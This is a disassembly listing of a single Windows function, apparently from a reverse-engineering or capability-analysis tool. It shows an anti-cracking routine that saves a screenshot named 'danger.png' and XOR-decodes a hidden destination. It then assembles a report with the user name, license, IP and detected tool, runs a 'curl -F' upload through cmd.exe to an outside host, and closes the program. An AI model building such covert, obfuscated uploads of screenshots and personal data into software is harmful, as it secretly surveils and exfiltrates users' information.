Function at 0x140012160
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1406b92c0]
xor rax, rsp
mov qword [rbp + 0x400], rax
call fcn.140012920
mov rcx, rax
call fcn.14001e120
call fcn.140012920
mov rcx, rax
call fcn.140019be0
test al, al
jne 0x1400121f3
mov dword [rbp], 0x2710
nop dword [rax + rax]
lea rdx, [rbp]
lea rcx, [rbp + 0x40]
call fcn.140016830
mov rcx, rax
call fcn.140016840
call fcn.140012920
mov rcx, rax
call fcn.14001e120
call fcn.140012920
mov rcx, rax
call fcn.140019be0
test al, al
je 0x1400121c0
call fcn.140005210
lea rdx, str.danger.png
lea rcx, [rbp + 0x20]
call fcn.140005540
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x2f0]
call fcn.140004ef0
nop
lea rcx, [rbp + 0x20]
call fcn.140014e60
lea rdx, str.curl__F__file1_
lea rcx, [rbp + 0x290]
call fcn.140005540
nop
lea rdx, str.danger.png
lea rcx, [rbp + 0x270]
call fcn.140005540
nop
movabs rax, 0x462c9a897a9f2f87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x12c6fa8447868598
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x2bbfc80990c062ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x88680a965d841229
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xfe95697f8133b3cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x1a474a6be83271c6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x5179d9b3a46cb8c4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x8924fbd48746027c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x8dd285aa977f7ae2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x7f93c6532d3a7865
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0xd7a74b0f444beaf9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x62f683820cda2c61
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0xb1291c70444ab3e9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x7a7a4dcfe79571d1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xcf1f73ecd9e8eb0c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x6683bb652f3239ad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs r14, 0x6903a0fa0aeb5bef
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rsi, 0x3ca288eb24f5ecfc
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0x4d6b868bfad0dd9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0xfb0365f935e6775e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0xcca35b4eb30182e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x287e7e5fd80444f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x303e949c905488fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xea63b68df40c4612
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0xfcffc7d2da3e17b7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x27fba2631e500804
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xe2943840270fbea1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x92d5d13b964d06
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0xd45f25067438eaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0x121d39b7dff45cb8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rax, 0xab5403d4b5998d65
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x6683bb652f3239da
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0xc0], ymm1
lea r8, [rbp + 0x270]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0xe0]
vzeroupper
call fcn.140016430
nop
lea r8, [0x1404faf3c]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140016540
nop
lea r8, [rbp + 0x60]
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140016540
nop
lea rcx, [rbp + 0x20]
call fcn.140014e60
nop
lea rcx, [rbp + 0xe0]
call fcn.140014e60
lea rcx, [0x140708298]
call fcn.1400141e0
lea rdx, [rbp + 0x310]
mov rcx, rax
call fcn.1400cc900
nop
call fcn.140012920
mov rdi, rax
lea rdx, [rbp + 0x1e0]
call fcn.1400496b0
mov rbx, rax
lea r8, [rbp + 0x310]
lea rdx, str._n___________________________________________________embeds_:___n_____________________________________________________n_______________________________________________________title_:__Cracking_tool_detected___n_______________________________________________________description_:__Program_was_forced_to_close___n_______________________________________________________color_:_16724787__n_______________________________________________________fields_:___n_________________________________________________________n___________________________________________________________name_:__User___n___________________________________________________________value_:__
lea rcx, [rbp + 0x1c0]
call fcn.1400166e0
nop
lea r8, str.___n___________________________________________________________inline_:_true_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__License___n___________________________________________________________value_:__
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140016540
nop
lea r8, [rbp + 0x330]
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.1400164a0
nop
lea r8, str.___n___________________________________________________________inline_:_true_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__IP___n___________________________________________________________value_:__
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.140016540
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x140]
call fcn.140016510
nop
lea r8, str.___n___________________________________________________________inline_:_false_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__Detected___n___________________________________________________________value_:__
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140016540
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.1400164a0
nop
lea r8, str.___n___________________________________________________________inline_:_false_n_________________________________________________________n________________________________________________________n_____________________________________________________n____________________________________________________n________________________________________________
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140016540
nop
lea rcx, [rbp + 0xe0]
call fcn.140014e60
nop
lea rcx, [rbp + 0x120]
call fcn.140014e60
nop
lea rcx, [rbp + 0x140]
call fcn.140014e60
nop
lea rcx, [rbp + 0x160]
call fcn.140014e60
nop
lea rcx, [rbp + 0x180]
call fcn.140014e60
nop
lea rcx, [rbp + 0x1a0]
call fcn.140014e60
nop
lea rcx, [rbp + 0x1c0]
call fcn.140014e60
nop
lea rcx, [rbp + 0x1e0]
call fcn.140014e60
lea rcx, [0x140708298]
call fcn.1400141e0
mov rdi, rax
lea rax, [rbp + 0x20]
mov qword [rbp + 0x40], rax
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x20]
call fcn.140014f30
mov rbx, rax
lea rdx, str.danger
lea rcx, [rbp + 0x100]
call fcn.140005540
nop
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.1400cb360
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov dword [rbp + 0x200], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0x204], 0x40
xor ebx, ebx
mov qword [rbp + 0x208], rbx
lea rax, [0x1404fb744]
mov qword [rbp + 0x210], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x218], rax
lea r8, [rbp + 0x2d0]
lea rdx, [0x1404fb758]
lea rcx, [rbp + 0x100]
call fcn.1400166e0
mov rcx, rax
call fcn.140014e10
mov qword [rbp + 0x220], rax
lea rcx, [rbp + 0x100]
call fcn.140014e60
mov qword [rbp + 0x228], rbx
mov dword [rbp + 0x230], ebx
mov qword [rbp + 0x238], rbx
lea rcx, [rbp + 0x200]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x192dd29f6d853a8b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0x3ca288eb24f58b92
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rbp + 0x10], xmm0
lea rax, [rbp + 0x10]
mov qword [rbp], rax
lea rdx, [rbp]
lea rcx, [rbp + 0x20]
call fcn.140016910
nop
lea rcx, [rbp + 0x20]
call fcn.140002870
nop
lea rcx, [rbp + 0x20]
call fcn.1400023e0
mov cl, 1
call fcn.140006710
int3